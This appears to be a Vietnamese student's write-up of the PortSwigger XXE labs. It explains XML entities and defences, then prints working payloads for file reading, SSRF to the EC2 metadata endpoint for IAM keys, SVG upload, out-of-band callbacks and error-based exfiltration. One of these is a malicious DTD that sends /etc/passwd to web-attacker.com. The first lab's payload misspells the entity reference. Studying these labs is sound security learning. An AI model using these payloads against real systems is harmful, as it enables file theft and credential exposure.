---
# System prepended metadata

title: Portswigger- XXE Injection

---

# XXE Injection
Dưới đây là writeup [link](https://portswigger.net/web-security/xxe) 
## XML External Entity Injection (Tấn công chèn thực thể bên ngoài XML)
**XML External Entity Injection (XXE)** là một lỗ hổng bảo mật web cho phép hacker can thiệp vào quá trình xử lý dữ liệu XML của ứng dụng. Thông thường, hacker có thể lợi dụng lỗ hổng này để xem các file trên máy chủ và tương tác với các hệ thống back-end hoặc các hệ thống bên ngoài mà ứng dụng có thể truy cập được.

Có những tình huống mà hacker có thể leo thang từ XXE để tấn công trực tiếp máy chủ hoặc các hệ thống hạ tầng khác, bằng cách lợi dụng lỗ hổng XXE để thực hiện các cuộc tấn công SSRF (server-side request forgery).

### Làm sao để lỗ hổng XXE xảy ra?
Một số ứng dụng dùng định dạng XML để truyền dữ liệu giữa trình duyệt và máy chủ. Thông thường, ứng dụng sử dụng thư viện tiêu chuẩn hay API của nền tảng để xử lý XML. Lỗ hổng XXE xảy ra vì XML specification chứa một số tính năng "ngầu" nhưng cũng khá nguy hiểm, và các parser tiêu chuẩn lại hỗ trợ chúng ngay cả khi ứng dụng không cần đến.

**Tìm hiểu thêm: XML, DTD và thực thể bên ngoài.
(Đọc thêm về định dạng XML, DTD và thực thể bên ngoài giúp bạn hiểu rõ nguyên lý hoạt động và rủi ro của các tính năng này.)**

XML external entities là loại thực thể do người dùng định nghĩa có giá trị được tải từ bên ngoài DTD. Đây là điểm gây "khủng khiếp" cho bảo mật vì nó cho phép định nghĩa một thực thể dựa trên nội dung của một file hay URL.
### Các kiểu tấn công XXE
Có một số kiểu tấn công XXE như sau:

**Trích xuất file:** Định nghĩa thực thể bên ngoài chứa nội dung của một file và trả về trong response của ứng dụng.
**Tấn công SSRF:** Định nghĩa thực thể bên ngoài dựa trên một URL nội bộ, khiến máy chủ thực hiện yêu cầu HTTP tới hệ thống back-end.
**Blind XXE exfiltration:** Truy xuất dữ liệu nhạy cảm theo kiểu "mù", truyền dữ liệu ra ngoài qua kênh khác do response không trả về giá trị thực thể.
**Blind XXE qua thông báo lỗi:** Kích hoạt lỗi phân tích XML chứa thông tin nhạy cảm trong thông báo lỗi.
> ### XXE để truy xuất file
> Để khai thác lỗ hổng XXE để truy xuất file bất kỳ trên hệ thống, bạn cần làm 2 bước:
> 
> **Chèn (hoặc sửa) phần DOCTYPE:** Định nghĩa một thực thể bên ngoài chứa đường dẫn tới file.
> **Sử dụng thực thể đó trong dữ liệu XML:** Chỉnh sửa một giá trị dữ liệu được trả về để sử dụng thực thể đã định nghĩa.
> ### XXE để thực hiện SSRF
> Ngoài việc trích xuất dữ liệu nhạy cảm, tác động chính của XXE là cho phép SSRF (server-side request forgery). Điều này nghĩa là hacker có thể khiến máy chủ thực hiện các yêu cầu HTTP đến bất cứ URL nào mà máy chủ có thể truy cập.
> 
> Để thực hiện SSRF qua XXE, bạn định nghĩa một thực thể XML dựa trên URL mục tiêu, rồi sử dụng thực thể đó trong một giá trị dữ liệu. Nếu thực thể đó được trả về trong response của ứng dụng, bạn có thể thấy kết quả của yêu cầu HTTP đó; nếu không, bạn vẫn có thể thực hiện SSRF "mù" với những hậu quả nghiêm trọng.
> ### Blind XXE
> Nhiều trường hợp lỗ hổng XXE là "mù" (blind), tức là ứng dụng không trả về giá trị của thực thể trong response, nên hacker không thể trực tiếp lấy dữ liệu file. Tuy nhiên, hacker vẫn có thể:
> 
> Sử dụng các kỹ thuật ngoài-band để phát hiện và khai thác.
> Kích hoạt lỗi phân tích XML để thông báo lỗi có chứa dữ liệu nhạy cảm.
> ### Tấn công XXE qua XInclude
> Một số ứng dụng nhận dữ liệu từ client, sau đó chèn nó vào file XML phía server rồi parse. Ví dụ, khi dữ liệu từ client được chèn vào SOAP request. Trong trường hợp này, hacker không kiểm soát toàn bộ file XML (không thể sửa DOCTYPE) nên không thể dùng payload XXE điển hình. Nhưng vẫn có thể khai thác bằng XInclude.
> 
> XInclude là một phần của tiêu chuẩn XML cho phép xây dựng tài liệu XML từ các tài liệu con. Hacker có thể chèn payload XInclude trong bất kỳ giá trị dữ liệu nào trong file XML.
> ### XXE qua file upload
> Một số ứng dụng cho phép upload file và xử lý file đó trên server. Một số định dạng file như DOCX (Office) hay SVG (hình ảnh) đều dựa trên XML. Dù ứng dụng mong đợi file PNG, JPEG nhưng nếu thư viện xử lý ảnh hỗ trợ SVG, hacker có thể upload file SVG chứa payload XXE để khai thác lỗ hổng.
> ### XXE qua thay đổi Content-Type
> Hầu hết các request POST mặc định từ form HTML có content-type là application/x-www-form-urlencoded, nhưng nhiều trang web cũng chấp nhận XML

### Cách phòng chống XXE
Hầu như tất cả các lỗ hổng XXE đều xảy ra do thư viện xử lý XML mặc định hỗ trợ các tính năng nguy hiểm mà ứng dụng không cần dùng tới. Cách đơn giản và hiệu quả nhất để phòng chống XXE là vô hiệu hóa các tính năng này.

Thông thường, chỉ cần vô hiệu hóa việc giải quyết các thực thể bên ngoài và hỗ trợ XInclude là đủ. Bạn có thể thực hiện điều này qua cấu hình hoặc lập trình ghi đè hành vi mặc định. Hãy tham khảo tài liệu của thư viện xử lý XML bạn đang sử dụng để biết cách vô hiệu hóa những tính năng không cần thiết.
##  XML là gì?
XML là viết tắt của "extensible markup language" – một ngôn ngữ được thiết kế để lưu trữ và truyền tải dữ liệu. Giống HTML, XML sử dụng cấu trúc dạng cây với các tag và dữ liệu. Tuy nhiên, khác với HTML vốn có các tag định sẵn, XML cho phép bạn tự do đặt tên cho tag sao cho mô tả đúng dữ liệu. Trước đây, XML từng "hot" để truyền tải dữ liệu (mấy bạn biết "X" trong AJAX là "XML" chứ), nhưng giờ JSON dần “làm mát” thay thế.

### XML Entities là gì?
XML entities là cách để biểu diễn một mẩu dữ liệu trong tài liệu XML mà không cần dùng dữ liệu trực tiếp. Trong chuẩn XML đã có sẵn mấy entity mặc định, ví dụ như:

* < đại diện cho ký tự <
* > đại diện cho ký tự >

Những ký tự này là những metacharacter dùng để đánh dấu tag, nên khi xuất hiện trong dữ liệu thường phải dùng entity để đảm bảo cú pháp không bị “báo lỗi”.

### Document Type Definition (DTD) là gì?
DTD (Document Type Definition) chứa các khai báo xác định cấu trúc của tài liệu XML, các kiểu dữ liệu mà nó có thể chứa, cùng nhiều thứ khác. DTD được khai báo trong phần DOCTYPE tùy chọn ở đầu tài liệu XML. DTD có thể:

* Internal DTD: hoàn toàn có trong tài liệu XML.
* External DTD: được tải từ bên ngoài.
* Hybrid: sự kết hợp của cả hai.
### XML Custom Entities là gì?
XML cho phép định nghĩa các entity tùy chỉnh trong DTD. Ví dụ:

```
<!DOCTYPE foo [
  <!ENTITY myentity "my entity value">
]>
```
Định nghĩa này có nghĩa là bất cứ chỗ nào xuất hiện &myentity; trong tài liệu XML, nó sẽ được thay thế bằng giá trị "my entity value".

### XML External Entities là gì?
XML external entities là loại entity tùy chỉnh mà định nghĩa của nó nằm ngoài DTD nơi chúng được khai báo.

Khai báo external entity dùng từ khóa SYSTEM và phải chỉ định URL để tải giá trị của entity đó. Ví dụ:


```
<!DOCTYPE foo [
  <!ENTITY ext SYSTEM "http://normal-website.com">
]>
```
URL có thể dùng giao thức file://, cho phép tải external entity từ file. Ví dụ:


```
<!DOCTYPE foo [
  <!ENTITY ext SYSTEM "file:///path/to/file">
]>
```
Chính nhờ cơ chế này mà các cuộc tấn công XML external entity (XXE) mới có thể xảy ra.

## Practive
### Lab1 Exploiting XXE using external entities to retrieve files
#### Description
> This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
> 
> To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
#### SOlve
##### Mô tả bài lab
Ứng dụng có tính năng "Check stock", trong đó server xử lý đầu vào XML và trả về các giá trị không mong muốn trong response.

**Mục tiêu:**
Lợi dụng lỗ hổng XXE (XML External Entity Injection) để đọc nội dung file /etc/passwd từ hệ thống file của server.

![image](https://hackmd.io/_uploads/B1v3q93oyg.png)
(send to repeater)
sửa phần code xml -->
![image](https://hackmd.io/_uploads/SJ49s92s1x.png)
GT: hướng tấn công **Exploiting XXE to retrieve files**(**Khai thác XXE để lấy lại các tập tin**)
**Bước 1**: Định nghĩa external entity qua DOCTYPE
Thứ nhất,cần thêm (hoặc chỉnh sửa) phần DOCTYPE trong XML để khai báo một external entity. Entity này được định nghĩa với từ khóa SYSTEM và trỏ tới đường dẫn file mà muốn lấy, ví dụ như đề yêu cầu /etc/passwd.

**Bước 2**: Sử dụng entity đó trong dữ liệu XML
Sau khi định nghĩa entity,phải chèn tên entity (như &xxe;) vào trong một phần dữ liệu của XML mà ứng dụng sẽ phản hồi lại. Khi server parse XML, nó sẽ thay thế entity bằng nội dung của file được chỉ định.
**Lưu ý quan trọng**:
Trong thực tế, XML thường chứa nhiều data node khác nhau. Cần test từng node một để xem liệu entity của có được xử lý và trả về hay không. Điều này giúp phát hiện đầy đủ khả năng bị khai thác của ứng dụng.
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xee;</productId><storeId>1</storeId></stockCheck>
```
![image](https://hackmd.io/_uploads/rJ8j3cno1l.png)
Sovle...
### Lab2 : Exploiting XXE to perform SSRF attacks
#### Description 
> This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
> 
> The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
> 
> To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

#### Solve
#### Mô tả bài lab
Ứng dụng có tính năng "Check stock" xử lý dữ liệu đầu vào dạng XML và trả về các giá trị không mong muốn trong response.

* Server chạy EC2 metadata endpoint giả lập ở địa chỉ mặc định: http://169.254.169.254/
* Đây là endpoint dùng để lấy thông tin về EC2 instance, bao gồm IAM credentials, có thể chứa dữ liệu nhạy cảm.
**Mục tiêu:** Lợi dụng lỗ hổng XXE để thực hiện SSRF và lấy IAM secret access key từ metadata endpoint.
![image](https://hackmd.io/_uploads/rkrRpchj1x.png)

GT
**Exploiting XXE to perform SSRF attacks** (Khai thác XXE để thực hiện các cuộc tấn công SSRF)
**Cách khai thác XXE để thực hiện SSRF**
Để lợi dụng lỗ hổng XXE nhằm thực hiện SSRF, cần làm hai việc:

1. Định nghĩa một external entity trỏ đến URL mục tiêu.

* Entity này sẽ được khai báo bằng từ khóa SYSTEM, trỏ đến địa chỉ URL mà hacker muốn server truy cập. (url là http://169.254.169.254/)

2. Chèn entity đó vào một phần dữ liệu XML.

* Nếu giá trị của entity xuất hiện trong phản hồi của ứng dụng, hacker có thể đọc được nội dung phản hồi từ URL đó, tức là có tương tác hai chiều với hệ thống backend.
* Nếu không xuất hiện trong response, hacker vẫn có thể thực hiện SSRF "mù" (blind SSRF), điều này vẫn có thể gây ra hậu quả nghiêm trọng như quét mạng nội bộ, tấn công dịch vụ nội bộ, hoặc khai thác lỗ hổng trên các hệ thống backend.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
![image](https://hackmd.io/_uploads/SkVWzjhoke.png)
Sử dụng đường dẫn trên, ta tiếp tục lấy được địa chỉ tiếp theo. <!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://169.254.169.254/lastest"> ]>
tương tự ....
SOlve.....
### Lap3 : Exploiting XInclude to retrieve files
#### Description
> This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.
> 
> Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.
> 
> To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.
#### Solve
Ở bài lab này, body của POST request Check stock không phải một XML nữa mà chỉ chứa các tham số: productId và storeId.
##### Khi nào sử dụng XInclude?
Một số ứng dụng không cho phép sửa DOCTYPE trong XML → Không thể dùng XXE cổ điển.
Nhưng nếu dữ liệu người dùng được chèn vào một tài liệu XML trên server, hacker có thể sử dụng XInclude để nhúng file vào XML.
###### Cách khai thác XInclude
payload :-1: 
```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```
ta chèn payload (decode payload ,ctrl+u) vào product và thấy etc/paswd
![image](https://hackmd.io/_uploads/SkxFrj3i1e.png)
solve....
**Cách hoạt động:**
* XML parser sẽ đọc file /etc/passwd và nhúng vào tài liệu XML trả về.
* Nếu phản hồi chứa nội dung file, đã thành công!
### Lab 4 : Exploiting XXE via image file upload
#### Description 
> This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
> 
> To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the "Submit solution" button to submit the value of the server hostname
#### SOLVE
**XXE Attack qua file upload**
Lý thuyết :-1: 
1.**Giới thiệu về XXE Attack qua file upload**
Một số ứng dụng cho phép người dùng tải lên file để xử lý phía server.
Một số định dạng file có thể chứa XML hoặc sử dụng XML như một phần của dữ liệu (ví dụ: DOCX, SVG).
Nếu ứng dụng không kiểm tra chặt chẽ, kẻ tấn công có thể khai thác XML để thực hiện XXE (XML External Entity).
**2. Cách tấn công XXE qua file upload**
Một ứng dụng có thể chỉ cho phép tải lên PNG hoặc JPEG, nhưng thư viện xử lý ảnh có thể hỗ trợ SVG.
SVG là định dạng XML, nên kẻ tấn công có thể chèn payload XXE vào file SVG giả mạo.
Khi server xử lý file này, nó có thể vô tình đọc các entity bên ngoài hoặc thực thi mã độc.
**3. Hậu quả của XXE Attack qua file upload**
Đọc file nội bộ của server (ví dụ: /etc/passwd).
Thực hiện SSRF (Server-Side Request Forgery) để truy cập các dịch vụ nội bộ.
Thực thi mã độc hoặc đánh cắp dữ liệu nhạy cảm.
**4. Cách phòng chống XXE Attack qua file upload**
Giới hạn loại file upload, chỉ chấp nhận những định dạng an toàn.
Vô hiệu hóa XML External Entity (XXE) trong các thư viện XML.
Dùng whitelist MIME type và kiểm tra kỹ nội dung file trước khi xử lý.
Sử dụng sandbox hoặc cơ chế cô lập khi xử lý file tải lên.
khi điền thông tin và up fileload lên 
![image](https://hackmd.io/_uploads/rJrIgj6ikx.png)
sửa phần thông tin thành vầy
payload:
```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="50">&xxe;</text>
</svg>
```
![image](https://hackmd.io/_uploads/HkZ5lj6i1l.png)

và xem ảnh sau khi được xử lý ta được 1 chuỗi và submit->>>
SOLVe/.....
### Lap 5 Detecting blind XXE using out-of-band (OAST) 
#### Description
> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
> 
> To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
#### solve
Đây là một dạng bài Blind XXE, server không trả nội dung như attacker mong muốn. Do đó, ta sẽ sử dụng kĩ thuật Out-of-band bằng payload sau:
`<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://<COLLABORATOR_DOMAIN>"> ]>`
(**COLLABORATOR_DOMAIN** là domain collaborator của mình, dùng ***burpsuite pro*** )
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://qjdcjg88rxoma1m2s196y0duyl4cs2gr.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
![image](https://hackmd.io/_uploads/S1gsbyCoke.png)

![image](https://hackmd.io/_uploads/HkpEfkCj1l.png)
->> SOVLE.....

### Lab6: Blind XXE with out-of-band interaction via XML parameter entities
#### Description
> This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
> 
> To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator
#### SOlve
làm tương tự như lab6
![image](https://hackmd.io/_uploads/HJEF41RiJe.png)
Trong một số trường hợp, tấn công XXE (XML External Entity) thông qua regular entities có thể bị chặn do ứng dụng có cơ chế kiểm tra đầu vào hoặc trình phân tích cú pháp XML đã được bảo mật. Khi đó, có thể sử dụng XML Parameter Entities để bypass. 
Khai báo XML Parameter Entity sử dụng ký tự % trước tên entity: `<!ENTITY % myparameterentity "my parameter entity value" >` (Tham chiếu đến Parameter Entity sử dụng % thay vì &)
payload :-1:
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [ <!ENTITY % xxe SYSTEM "http://nb29bd05jugj2yezky13qx5rqiwbk48t.oastify.com"> %xxe; ]>

<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```
![image](https://hackmd.io/_uploads/SyUCSJRsJe.png)
thay chỗ productID về lại 1 (vì sao? tự tìm hiểu he)
### Lab 7 Exploiting blind XXE to exfiltrate data using a malicious external DTD
#### Description
> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, exfiltrate the contents of the /etc/hostname file.
#### SOlve
Tấn công Blind XXE với kỹ thuật Out-of-Band (OOB) nhằm rò rỉ dữ liệu nhạy cảm từ hệ thống của nạn nhân (ví dụ: /etc/passwd) đến máy chủ của attacker.
**Quy trình khai thác:**
1. **Tạo DTD độc hại:**

Đầu tiên, attacker tạo một DTD chứa các parameter entities để rò rỉ dữ liệu.
Ví dụ, để lấy nội dung của tệp /etc/passwd:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com or COLLABORATOR_DOMAIN/?x=%file;'>">
%eval;
%exfiltrate;
```
2. **Chi tiết hoạt động của DTD độc hại:**

* %file: Khai báo nội dung của tệp /etc/passwd như một parameter entity.
* %eval: Định nghĩa một parameter entity mới exfiltrate, khiến nó thực hiện một HTTP request tới máy chủ của attacker chứa dữ liệu /etc/passwd trong chuỗi truy vấn URL.
* %exfiltrate: Entity này được kích hoạt, thực hiện HTTP request đến URL của attacker với giá trị tệp /etc/passwd.
3. **Máy chủ của attacker:**
Attacker cần lưu trữ DTD độc hại trên một máy chủ mà họ kiểm soát. Ví dụ, DTD có thể được phục vụ tại:http://web-attacker.com/malicious.dtd
4. **Khai thác XXE:**

Attacker gửi một payload XXE đến ứng dụng mục tiêu, để ứng dụng tải DTD độc hại và thực thi các bước trong đó:

`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/mali
cious.dtd"> %xxe;]>`
XML parser sẽ tải DTD từ máy chủ của attacker và thực hiện các bước trong đó, khiến tệp /etc/passwd được gửi đến máy chủ của attacker.
giải thoii
![image](https://hackmd.io/_uploads/SyySexAoyg.png)

store -> check stock 
![image](https://hackmd.io/_uploads/r1XFxeCiyx.png)

![image](https://hackmd.io/_uploads/BybCylCiJx.png)
->>submit ->> solve

### lab 8 Exploiting blind XXE to retrieve data via error messages
#### Descriptioon

> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
> 
> The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
#### Sovle
 **khai thác Blind XXE để lấy dữ liệu qua thông báo lỗi**
 Một phương pháp thay thế để khai thác Blind XXE là kích hoạt lỗi phân tích XML sao cho thông báo lỗi chứa dữ liệu nhạy cảm mà attacker muốn lấy. Phương pháp này có thể hiệu quả nếu ứng dụng trả về thông báo lỗi trong phản hồi của mình.
1. Cách thức khai thác lỗi XML để lấy dữ liệu:
Tạo DTD độc hại:

Attacker tạo một DTD độc hại để khiến parser phát sinh lỗi khi xử lý XML. Lỗi này sẽ chứa dữ liệu nhạy cảm từ hệ thống.
Đoạn mã DTD khai thác sẽ trông như sau:
```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
2. Chi tiết hoạt động của DTD độc hại:

* %file: Khai báo một entity chứa nội dung của tệp /etc/passwd (một tệp nhạy cảm trong hệ thống Linux).
* %eval: Định nghĩa một entity mới, %error, dùng để tạo lỗi khi truy cập một tệp không tồn tại có tên chứa dữ liệu từ file.
* %error: Kích hoạt entity này, yêu cầu hệ thống tìm tệp /nonexistent/%file% (tệp không tồn tại), gây lỗi khi parser cố gắng truy cập và gây ra thông báo lỗi.
Thông báo lỗi chứa dữ liệu nhạy cảm:


Khi XML parser gặp phải lỗi khi tìm tệp không tồn tại, thông báo lỗi sẽ chứa thông tin từ tệp /etc/passwd.
3. Quá trình khai thác:

* Attacker gửi một payload XXE có thể gọi DTD độc hại. Hệ thống sẽ xử lý và gây lỗi, qua đó rò rỉ dữ liệu nhạy cảm từ hệ thống mục tiêu.

**Lưu ý quan trọng:**
Phương pháp này phụ thuộc vào việc ứng dụng trả về thông báo lỗi cho người dùng, cho phép attacker có thể lấy thông tin nhạy cảm qua lỗi XML.
Dữ liệu nhạy cảm từ tệp như /etc/passwd sẽ được lộ ra thông qua thông báo lỗi chứa đường dẫn tệp hoặc dữ liệu từ hệ thống mục tiêu.

giải :-1: 
![image](https://hackmd.io/_uploads/S1_0VlAjJe.png)

![image](https://hackmd.io/_uploads/SkBn4gAs1l.png)
### Lab 9: Exploiting XXE to retrieve data by repurposing a local DTD
#### Descriptioon
> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, trigger an error message containing the contents of the /etc/passwd file.
> 
> You'll need to reference an existing DTD file on the server and redefine an entity from it.
> 
> Hint
> Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.
#### Solve
**khai thác Blind XXE bằng cách tái sử dụng DTD nội bộ**
Kỹ thuật Blind XXE qua out-of-band interactions có thể bị chặn, nhưng vẫn có thể khai thác được thông qua DTD nội bộ kết hợp với DTD ngoại vi đã tồn tại trong hệ thống. Đây là một kỹ thuật khai thác lỗ hổng XXE mà attacker có thể áp dụng ngay cả khi không thể thực hiện kết nối ra ngoài.
**Cách thức khai thác Blind XXE với DTD nội bộ và ngoại vi:**
1. Vấn đề với DTD nội bộ:

Trong các DTD nội bộ, không thể sử dụng parameter entity trong định nghĩa của entity khác (theo đặc tả XML).
Tuy nhiên, khi sử dụng DTD kết hợp giữa nội bộ và ngoại vi, các entity trong DTD ngoại vi có thể bị ghi đè bởi DTD nội bộ, giúp vượt qua giới hạn này.
2. Phương thức tấn công:

Attacker có thể tạo một DTD hỗn hợp (kết hợp nội bộ và ngoại vi), trong đó DTD nội bộ sẽ ghi đè entity đã khai báo trong DTD ngoại vi. Điều này sẽ cho phép attacker khai thác error-based XXE mà không cần kết nối ra ngoài.
3. Ví dụ về DTD khai thác:

Giả sử có một tệp DTD tồn tại trên hệ thống ở vị trí /usr/local/app/schema.dtd, chứa một entity gọi là custom_entity. Attacker có thể thực hiện payload sau:

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
Các bước thực hiện:

* %local_dtd: Định nghĩa entity local_dtd, chứa tệp DTD ngoại vi từ đường dẫn nội bộ /usr/local/app/schema.dtd.
* %custom_entity: Định nghĩa lại entity custom_entity trong DTD nội bộ, chứa mã XXE sẽ kích hoạt một lỗi và trả về nội dung từ /etc/passwd.
* Kích hoạt tệp DTD ngoại vi bằng cách sử dụng %local_dtd, khiến XML parser giải thích và thực thi các entity đã được ghi đè.

**Lưu ý:**
Quy trình này yêu cầu sự tồn tại của tệp DTD ngoại vi trên hệ thống của ứng dụng mục tiêu.
Các hệ thống mã nguồn mở với DTD thường có các tệp này có thể dễ dàng tìm thấy qua tìm kiếm trên Internet.

giải :    
![image](https://hackmd.io/_uploads/B1JLweRike.png)
=> Blind XXE injection
payload : 
```
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
trong đó : 
* %local_dtd; sẽ import file /usr/share/yelp/dtd/docbookx.dtd
* %ISOamso được định nghĩa lại nhằm lấy được nội dung file /etc/passwd thông qua 
* %file; nhờ lỗi trả về khi external entity %error; tham chiếu đến file://%file; không tồn tại trong hệ thống

Lúc này, khi injection payload trên và gửi request đi, server trả về lỗi FileNotFound và có chứa nội dung file /etc/passwd cần lấy.

![image](https://hackmd.io/_uploads/HkYxOeCjke.png)
solve ->>>()

# root me

![image](https://hackmd.io/_uploads/r1UGQ1g31x.png)

http://challenge01.root-me.org/web-serveur/ch29/index.php

![image](https://hackmd.io/_uploads/SJ2wmkx2Jx.png)
thử gửi domain để checker

![image](https://hackmd.io/_uploads/rk40mJx3kx.png)
trả về cho toi hmm , phải viết 1 đoạn xml để khai thác từ 1 url....
sử dụng https://pastebin.com/ làm điều này
